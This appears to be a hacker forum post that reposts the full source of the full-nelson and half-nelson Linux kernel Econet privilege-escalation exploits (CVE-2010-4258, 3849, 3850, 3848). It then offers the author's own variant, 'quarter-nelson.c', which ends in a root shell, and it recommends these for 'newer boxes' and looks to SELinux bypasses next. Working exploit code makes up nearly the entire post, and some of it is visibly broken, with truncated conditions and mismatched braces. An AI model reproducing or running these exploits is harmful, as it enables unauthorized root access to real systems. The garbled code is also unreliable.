My own portrayal of a sad econet ;’( (BELOW CODE AT BOTTOM OF POST IS MY VERS)

I thought it funny i was playin with the OLD last yr vers then out came a x86_64 wich is here:

My first play with it was way back here… and this works wen you add this stuff as i have done..
so was borne quarter-nelson.c my own use of the exploit wich uses the stack based cve wich is simply a sendmsg, sending a huge amount of IOV’s to gain root…. it works,aswith the first release, here i will have to put all includes outdie of the code,because i having some problems with this showing up…

//incs for exploit v1.
stdio.h
sys/socket.h
fcntl.h
sys/ioctl.h
string.h
net/if.h
sched.h
stdlib.h
signal.h
sys/utsname.h
sys/mman.h
unistd.h
//incs

/*
 * Linux Kernel <= 2.6.37 local privilege escalation UNFUCKED and symbols-fix by (xd)
 * Sploit originally by whitehat by Dan Rosenberg
 * @djrbliss on twitter
 * Usage:
 * gcc full-nelson.c -o full-nelson
 * ./full-nelson
 *
 * This exploit leverages three vulnerabilities to get root, all of which were
 * discovered by Nelson Elhage:
 * CVE-2010-4258
 * -------------
 * This is the interesting one, and the reason I wrote this exploit.  If a
 * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
 * word will be written to a user-specified pointer when that thread exits.
 * This write is done using put_user(), which ensures the provided destination
 * resides in valid userspace by invoking access_ok().  However, Nelson
 * discovered that when the kernel performs an address limit override via
 * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
 * etc.), this override is not reverted before calling put_user() in the exit
 * path, allowing a user to write a NULL word to an arbitrary kernel address.
 * Note that this issue requires an additional vulnerability to trigger.
 * CVE-2010-3849
 * -------------
 * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
 * fairly benign as a local denial-of-service.  It's a perfect candidate to
 * trigger the above issue, since it's reachable via sock_no_sendpage(), which
 * subsequently calls sendmsg under KERNEL_DS.
 * CVE-2010-3850
 * -------------
 * I wouldn't be able to reach the NULL pointer dereference and trigger the
 * OOPS if users weren't able to assign Econet addresses to arbitrary
 * interfaces due to a missing capabilities check.
 * In the interest of public safety, this exploit was specifically designed to
 * be limited:
 *  * The particular symbols I resolve are not exported on Slackware or Debian
 *  * Red Hat does not support Econet by default
 *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
 *    Debian
 * However, the important issue, CVE-2010-4258, affects everyone, and it would
 * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
 * more sophisticated version of this that doesn't have the roadblocks I put in
 * to prevent abuse by script kiddies.
 * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
 * NOTE: the exploit process will deadlock and stay in a zombie state after you
 * exit your root shell because the Econet thread OOPSes while holding the
 * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
 * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
 */
#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

#define PAGE_SIZE getpagesize()
#define PF_ECONET AF_ECONET
#define AF_ECONET 19

#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif

static unsigned long get_kernel_sym(char *name) {
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
fprintf(stdout, "Unable to obtain symbol listing!\n");
exit(0);
}
}
ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static int __attribute__((regparm(3)))
getroot(void * file, void * vma) {
commit_creds(prepare_kernel_cred(0));
return -1;
}

void __attribute__((regparm(3)))
trampoline() {
#ifdef __x86_64__
asm("mov $getroot, %rax; call *%rax;");
#else
asm("mov $getroot, %eax; call *%eax;");
#endif
}

int trigger(int * fildes) {
int ret;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
if(ret < 0) {
printf("[*] Failed to set Econet address.\n");
return -1;
}
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
exit(0);
}

int main(int argc, char * argv[]) {
unsigned long econet_ops, econet_ioctl, target, landing;
int fildes[4], pid;
void * newstack, * payload;
pipe(fildes);
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
fildes[3] = open("/dev/zero", O_RDONLY);
if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
printf("[*] Failed to open file descriptors.\n");
return -1;
}
printf("[*] Resolving kernel addresses...\n");
econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
if(!(newstack = malloc(65536))) {
printf("[*] Failed to allocate memory.\n");
return -1;
}
printf("[*] Calculating target...\n");
target = econet_ops + 10 * sizeof(void *) - OFFSET;
landing = econet_ioctl << SHIFT >> SHIFT;
payload = mmap((void *)(landing & ~0xfff), 2 * PAGE_SIZE,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
printf("[*] Failed to mmap() at target address.\n");
return -1;
}
memcpy((void *)landing, &trampoline, 1024);
clone((int (*)(void *))trigger,(void *)((unsigned long)newstack + 65536),CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,&fildes, NULL, NULL, target);
sleep(1);
printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);
if(getuid()) {
printf("[*] Exploit failed.\n");
return -1;
}
printf("[*] Got root!\n");
execl("/bin/sh", "/bin/sh", NULL);
}

It does work great but it corruopts the memory…so i dislike this and this is also why i made my own portage of this exploit..
here is the second rls…

//incs for exploit v2
stdio.h
stdlib.h
stdint.h
stddef.h
string.h
unistd.h
errno.h
fcntl.h
limits.h
syscall.h
inttypes.h
sys/types.h
sys/socket.h
sys/wait.h
sys/ioctl.h
sys/mman.h
sys/ipc.h
sys/sem.h
sys/stat.h
sys/mman.h
sys/resource.h
sys/syscall.h
netinet/in.h
net/if.h
//incs v2 e0f

// Then in 2011 as promised they would, they used a stack leak to make half-nelson.c:
/*
 * half-nelson.c
 * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
 * Usage:
 *   $ gcc half-nelson.c -o half-nelson -lrt
 *   $ ./half-nelson
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>

#define IOVS           446
#define NPROC          1024
#define KSTACK_SIZE    8192

#define KSTACK_UNINIT  0
#define KSTACK_UPPER   1
#define KSTACK_LOWER   2
#define KSTACK_DIE     3
#define KSTACK_PARENT  4
#define KSTACK_CLOBBER 5

#define LEAK_BASE      0xffff880000000000
#define LEAK_TOP       0xffff8800c0000000
#define LEAK_DEPTH     500
#define LEAK_OFFSET    32 

#define NR_IPC         0x75
#define NR_WAIT4       0x72
#define SEMCTL         0x3

#ifndef PF_ECONET
#define PF_ECONET      19
#endif

#define STACK_OFFSET   6
#define RESTART_OFFSET 40

struct ec_addr {
	unsigned char station;
	unsigned char net;
};

struct sockaddr_ec {
	unsigned short sec_family;
	unsigned char port;
	unsigned char cb;
	unsigned char type;
	struct ec_addr addr;
	unsigned long cookie;
};

struct ipc64_perm {
	uint32_t key;
	uint32_t uid;
	uint32_t gid;
	uint32_t cuid;
	uint32_t cgid;
	uint32_t mode;
	uint16_t seq;
	uint16_t __pad2;
	unsigned long __unused1;
	unsigned long __unused2;
};

struct semid64_ds {
	struct ipc64_perm sem_perm;
	unsigned long sem_otime;
	unsigned long __unused1;
	unsigned long sem_ctime;
	unsigned long __unused;
	unsigned long sem_nsems;
	unsigned long __unused3;
	unsigned long __unused4;
};

union semun {
	int val;
	struct semid_ds *buf;
	unsigned short *array;
	struct seminfo *__buf;
};

struct region {
	unsigned long parent;
	unsigned long addrs[NPROC];
};
struct region *region;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;

void __attribute__((regparm(3)))
kernel_code(void) {
	commit_creds(prepare_kernel_cred(0));
}

void payload_parent(void) {
	asm volatile (
	"mov $kernel_code, %rax\n"
	"call *%rax\n"
	);
}

void payload_child(void) {
	asm volatile (
	"movq $payload_parent, (%0)\n"
	"jmpq *%1\n"
	:
	: "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
	);
}

unsigned long get_kstack(void) {
	int i, size, offset;
	union semun *arg;
	struct semid_ds dummy;
	struct semid64_ds *leaked;
	char *stack_start, *stack_end;
	unsigned char *p;
	unsigned long kstack, *ptr;
	/* make sure our argument is 32-bit accessible */
	arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
	if (arg == MAP_FAILED) {
	printf("[-] failure mapping memory, aborting!\n");
	exit(1);
	}
	/* map a fake stack to use during syscall */
	stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
	if (stack_start == MAP_FAILED) {
	printf("[-] failure mapping memory, aborting!\n");
	exit(1);
	}
	stack_end = stack_start + 4096;
	memset(arg, 0, sizeof(union semun));
	memset(&dummy, 0, sizeof(struct semid_ds));
	arg->buf = &dummy;
	/* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
	asm volatile (
		"push %%rax\n"
		"push %%rbx\n"
		"push %%rcx\n"
		"push %%rdx\n"
		"push %%rsi\n"
		"push %%rdi\n"
		"movl %0, %%eax\n"
		"movl %1, %%ebx\n"
		"movl %2, %%ecx\n"
		"movl %3, %%edx\n"
		"movl %4, %%esi\n"
		"movq %5, %%rdi\n"
		"movq %%rsp, %%r8\n"
		"movq %6, %%rsp\n"
		"push %%r8\n"
		"int $0x80\n"
		"pop %%r8\n"
		"movq %%r8, %%rsp\n"
		"pop %%rdi\n"
		"pop %%rsi\n"
		"pop %%rdx\n"
		"pop %%rcx\n"
		"pop %%rbx\n"
		"pop %%rax\n"
		:
		: "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
		: "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
	);
	/* naively extract a pointer to the kstack from the kstack */
	p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
	kstack = *(unsigned long *) p;
	if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
	printf("[-] failed to leak a suitable kstack address, try again!\n");
	exit(1);
	}
	if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
	printf("[-] failed to leak a suitable kstack address, try again!\n");
	exit(1);
	}
	kstack = kstack & ~0x1fff;
	return kstack;
}

unsigned long get_symbol(char *name) {
	FILE *f;
	unsigned long addr;
	char dummy, sym[512];
	int ret = 0;
	f = fopen("/proc/kallsyms", "r");
	if (!f) {
	return 0;
	}
	while (ret != EOF) {
	ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
	if (ret == 0) {
	fscanf(f, "%s\n", sym);
	continue;
	}
	if (!strcmp(name, sym)) {
	printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
	fclose(f);
	return addr;
	}
	}
	fclose(f);
	return 0;
}

int get_adjacent_kstacks(void) {
	int i, ret, shm, pid, type;
	/* create shared communication channel between parent and its children */
	shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
	if (shm < 0) {
	printf("[-] failed creating shared memory, aborting!\n");
	exit(1);
	}
	ret = ftruncate(shm, sizeof(struct region));
	if (ret != 0) {
	printf("[-] failed resizing shared memory, aborting!\n");
	exit(1);
	}
	region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
	memset(region, KSTACK_UNINIT, sizeof(struct region));
	/* parent kstack self-discovery */
	region->parent = get_kstack();
	printf("[+] found parent kstack at 0x%lx\n", region->parent);
	/* fork and discover children with adjacently-allocated kernel stacks */
	for (i = 0; i < NPROC; ++i) {
	pid = fork();
	if (pid > 0) {
	type = KSTACK_PARENT;
	continue;
	} else if (pid == 0) {
	/* children do kstack self-discovery */
	region->addrs[i] = get_kstack();
	/* children sleep until parent has found adjacent children */
	while (1) {
	sleep(1);
	if (region->addrs[i] == KSTACK_DIE) {
	/* parent doesn't need us   */
	exit(0);
	} else if (region->addrs[i] == KSTACK_UPPER) {
	/* we're the upper adjacent process */
	type = KSTACK_UPPER;
	break;
	} else if (region->addrs[i] == KSTACK_LOWER) {
	/* we're the lower adjacent process */
	type = KSTACK_LOWER;
	break;
	}
	}
	break;
	} else {
	printf("[-] fork failed, aborting!\n");
	exit(1);
	}
	}
	return type;
}

void do_parent(void) {
	int i, j, upper, lower;
	/* parent sleeps until we've discovered all the child kstacks */
	while (1) {
	sleep(1);
	for (i = 0; i < NPROC; ++i) {
	if (region->addrs[i] == KSTACK_UNINIT) {
	break;
	}
	}
        if (i == NPROC) {
	break;
	}
	}
	/* figure out if we have any adjacent child kstacks */
	for (i = 0; i < NPROC; ++i) {
	for (j = 0; j < NPROC; ++j) {
        if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
	break;
	}
	}
	if (j != NPROC) {
	break;
	}
	}
	if (i == NPROC && j == NPROC) {
	printf("[-] failed to find adjacent kstacks, try again!\n");
	exit(1);
	}
	upper = i;
	lower = j;
	printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);
	/* signal to non-adjacent children to die */
	for (i = 0; i < NPROC; ++i) {
	if (i != upper && i != lower) {
	region->addrs[i] = KSTACK_DIE;
	}
	}
	/* signal adjacent children to continue on */
	region->addrs[upper] = KSTACK_UPPER;
	region->addrs[lower] = KSTACK_LOWER;
	/* parent sleeps until child has clobbered the fptr */
	while (1) {
	sleep(1);
	if (region->parent == KSTACK_CLOBBER) {
	break;
	}
	}
	printf("[+] escalating privileges\n");
	/* trigger our clobbered fptr */
	syscall(__NR_restart_syscall);
	/* our privileges should be escalated now */
	if (getuid() != 0) {
	printf("[-] privilege escalation failed, aborting!\n");
	exit(1);
	}
	printf("[+] launching root shell!\n");
	execl("/bin/sh", "/bin/sh", NULL);
}

void do_child_upper(void) {
	int i, ret, eco_sock;
	struct sockaddr_ec eco_addr;
	struct msghdr eco_msg;
	struct iovec iovs[IOVS];
	struct ifreq ifr;
	char *target;
	/* calculate payload target, skip prologue */
	target = (char *) payload_child;
	target += 4;
	/* give lower child a chance to enter its wait4 call */
	sleep(1);
	/* write some zeros */
	for (i = 0; i < STACK_OFFSET; ++i) {
	iovs[i].iov_base = (void *) 0x0;
	iovs[i].iov_len = 0;
	}
	/* overwrite saved ia32_sysret address on stack */
	iovs[STACK_OFFSET].iov_base = (void *) target;
	iovs[STACK_OFFSET].iov_len = 0x0246;
	/* force abort via EFAULT */
	for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
	iovs[i].iov_base = (void *) 0xffffffff00000000;
	iovs[i].iov_len = 0;
	}
	/* create econet socket */
	eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
	if (eco_sock < 0) {
	printf("[-] failed creating econet socket, aborting!\n");
	exit(1);
	}
	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, "lo");
	/* trick econet into associated with the loopback */
	ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
	if (ret != 0) {
	printf("[-] failed setting interface address, aborting!\n");
	exit(1);
	}
	memset(&eco_addr, 0, sizeof(eco_addr));
	memset(&eco_msg, 0, sizeof(eco_msg));
	eco_msg.msg_name = &eco_addr;
	eco_msg.msg_namelen = sizeof(eco_addr);
	eco_msg.msg_flags = 0;
	eco_msg.msg_iov = &iovs[0];
	eco_msg.msg_iovlen = IOVS;
	printf("[+] upper child triggering stack overflow...\n");
	/* trigger the kstack overflow into lower child's kstack */
	ret = sendmsg(eco_sock, &eco_msg, 0);
	if (ret != -1 || errno != EFAULT) {
	printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
	exit(1);
	}
	close(eco_sock);
}

void do_child_lower(void) {
	int pid;
	printf("[+] lower child spawning a helper\n");
	/* fork off a helper to wait4 on */
	pid = fork();
	if (pid == 0) {
	printf("[+] helper going to sleep\n");
	sleep(5);
	printf("[+] helper woke up\n");
	exit(1);
	}
	printf("[+] lower child calling compat_sys_wait4 on helper\n");
	/* syscall(NR_WAIT4, pid, 0, 0, 0) */
	asm volatile (
		"push %%rax\n"
		"push %%rbx\n"
		"push %%rcx\n"
		"push %%rdx\n"
		"push %%rsi\n"
		"movl %0, %%eax\n"
		"movl %1, %%ebx\n"
		"movl %2, %%ecx\n"
		"movl %3, %%edx\n"
		"movl %4, %%esi\n"
		"int $0x80\n"
		"pop %%rsi\n"
		"pop %%rdx\n"
		"pop %%rcx\n"
		"pop %%rbx\n"
		"pop %%rax\n"
		:
		: "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
		: "memory", "rax", "rbx", "rcx", "rdx", "rsi"
	);
	printf("[+] lower child returned from compat_sys_wait4\n");
	printf("[+] parent's restart_block has been clobbered\n");
	/* signal parent that our fptr should now be clobbered */
	region->parent = KSTACK_CLOBBER;
}

int main(int argc, char **argv) {
	int type;
	if (sizeof(unsigned long) !=  {
	printf("[-] x86_64 only, sorry!\n");
	exit(1);
	}
	printf("[+] looking for symbols\n");
	commit_creds = (_commit_creds) get_symbol("commit_creds");
	if (!commit_creds) {
	printf("[-] symbol table not available, aborting\n");
	exit(1);
	}
	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
	if (!prepare_kernel_cred) {
	printf("[-] symbol table not available, aborting\n");
	exit(1);
	}
	ia32_sysret = get_symbol("ia32_sysret");
	if (!ia32_sysret) {
	printf("[-] symbol table not available, aborting\n");
	exit(1);
	}
	printf("[+] spawning children to achieve adjacent kstacks\n");
	type = get_adjacent_kstacks();
	if (type == KSTACK_PARENT) {
	do_parent();
	} else if (type == KSTACK_UPPER) {
	do_child_upper();
	} else if (type == KSTACK_LOWER) {
	do_child_lower();
	}
	return 0;
}

Finally, my own version :_ this works without corrupting memory and it exist nice and cleanly unlike the oberheldie one.
//includes for my version
stdio.h
stdlib.h
stdint.h
stddef.h
string.h
unistd.h
errno.h
fcntl.h
limits.h
syscall.h
inttypes.h
sys/types.h
sys/socket.h
sys/wait.h
sys/ioctl.h
sys/mman.h
sys/sem.h
sys/stat.h
sys/mman.h
sys/resource.h
sys/syscall.h
netinet/in.h
net/if.h
//end incs for my vers

/*
 * quarter-nelson.c
 * Linux Kernel < 2.6.36.2 Econet Sendmsg Privilege Escalation Exploit
 * xd's version
 * CVE-2010-3848
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
 *   Stack based overflow in the econet_sendmsg function in
 *   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
 *   econet address is configured, allows local users to gain privileges
 *   by providing a large number of iovec structs.
 *
 * Usage:
 *   $ gcc quarter-nelson.c -o quarter-nelson -lrt
 *   $ ./quarter-nelson
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>

#define IOVS 446
#define NPROC 1024
#ifndef PF_ECONET
#define PF_ECONET 19
#endif
#define STACK_OFFSET 6
#define RESTART_OFFSET 40

struct ec_addr {
unsigned char station;
unsigned char net;
};
struct sockaddr_ec {
unsigned short sec_family;
unsigned char port;
unsigned char cb;
unsigned char type;
struct ec_addr addr;
unsigned long cookie;
};
union semun {
int val;
struct semid_ds *buf;
unsigned short *array;
struct seminfo *__buf;
};
struct region {
unsigned long parent;
unsigned long addrs[NPROC];
};
struct region *region;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;

void __attribute__((regparm(3)))
kernel_code(void) {
commit_creds(prepare_kernel_cred(0));
}
void payload_parent(void) {
	asm volatile (
	"mov $kernel_code, %rax\n"
	"call *%rax\n"
	);
}
void payload_child(void) {
	asm volatile (
	"movq $payload_parent, (%0)\n"
	"jmpq *%1\n"
	:
	: "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
	);
}

unsigned long get_symbol(char *name) {
	FILE *f;
	unsigned long addr;
	char dummy, sym[512];
	int ret = 0;
	f = fopen("/proc/kallsyms", "r");
	if (!f) {
	return 0;
	}
	while (ret != EOF) {
	ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
	if (ret == 0) {
	fscanf(f, "%s\n", sym);
	continue;
	}
	if (!strcmp(name, sym)) {
	printf("[+] Resolved symbol %s to %p\n", name, (void *) addr);
	fclose(f);
	return addr;
	}
	}
	fclose(f);
	return 0;
}

void do_it(void) {
	int i, ret, eco_sock;
	struct sockaddr_ec eco_addr;
	struct msghdr eco_msg;
	struct iovec iovs[IOVS];
	struct ifreq ifr;
	char *target;
	target = (char *)payload_child;
	target += 4;
	sleep(1);
	for (i = 0; i < STACK_OFFSET; ++i) {
	iovs[i].iov_base = (void *) 0x0;
	iovs[i].iov_len = 0;
	}
	iovs[STACK_OFFSET].iov_base = (void *) target;
	iovs[STACK_OFFSET].iov_len = 0x0246;
	for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
	iovs[i].iov_base = (void *) 0xffffffff00000000;
	iovs[i].iov_len = 0;
	}
	eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
	if (eco_sock < 0) {
	printf("[-] Failed creating econet socket\n");
	exit(1);
	}
	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, "lo");
	ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
	if (ret != 0) {
	printf("[-] Failed setting interface address,aborting\n");
	exit(1);
	}
	memset(&eco_addr, 0, sizeof(eco_addr));
	memset(&eco_msg, 0, sizeof(eco_msg));
	eco_msg.msg_name = &eco_addr;
	eco_msg.msg_namelen = sizeof(eco_addr);
	eco_msg.msg_flags = 0;
	eco_msg.msg_iov = &iovs[0];
	eco_msg.msg_iovlen = IOVS;
	printf("[+] Triggering stack overflow now\n");
	ret = sendmsg(eco_sock, &eco_msg, 0);
	if (ret != -1 || errno != EFAULT) {
	printf("[-] PF_ECONET Sendmsg leverage succeeded\n");
	exit(1);
	}
	close(eco_sock); // overflow done
	printf("[+] Escalating privileges\n");
	syscall(__NR_restart_syscall);
	if (getuid() != 0) {
	printf("[-] Priv escalation failed.\n");
	exit(1);
	}
	printf("[+] Launching rootshell!\n");
	execl("/bin/sh", "/bin/sh", NULL);
}

int main(int argc, char **argv) {
	int type;
	printf("[+] Looking for symbols\n");
	commit_creds = (_commit_creds) get_symbol("commit_creds");
	if (!commit_creds) {
	printf("[-] Symbol table not available, aborting!\n");
	exit(1);
	}
	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
	if (!prepare_kernel_cred) {
	printf("[-] Symbol table not available, aborting\n");
	exit(1);
	}
	ia32_sysret = get_symbol("ia32_sysret");
	printf("~ Econet priv escalation based on the three-tier half-nelson ~\n");
	do_it();
	}
	return 0;
}

OK enough of econet now and dont bother on older kernels, these are for newer boxes..
These are all very cool as they work.

A note for the RDS protocol;
Ever wondered why the heck dan Rosenberg tries to over rite rds_ioct …
Wich is a static fptr ,i am curious to know this..because am yet to see or hear of
ONE rds exploit working .
Econet, works great..altho, you might want to chase up some selinux bypassing ,
lookup spender

cheers,
xd